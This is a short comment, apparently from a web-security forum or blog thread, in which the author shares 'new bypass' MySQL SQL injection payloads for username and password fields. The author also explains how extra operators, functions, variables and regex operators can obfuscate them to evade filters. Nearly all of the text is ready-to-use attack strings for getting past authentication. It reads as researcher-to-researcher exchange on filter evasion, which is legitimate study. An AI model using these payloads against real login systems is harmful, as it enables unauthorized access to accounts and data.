Hi,
thanks for the credits :)

new bypass:
user: 1'+1<~-'3
pass: '-1)<('1

remember that the flexible mysql syntax allows all kinds of modifications like adding new mathematical operators:

user: 1'- + -1 <~ - '3
pass: ' - + - 1)- +1 < ~ ('1

But not only numbers and whitespaces, also functions like "1+char(32)+2" or vars like "1+@asd+2" or strings/columns like "1+current_user+2", as well as parentheses, operators (SOUNDS LIKE, RLIKE, REGEXP) and so on.

More on this here:
http://websec.wordpress.com/2007/11/11/mysql-syntax/

greetings,
Reiners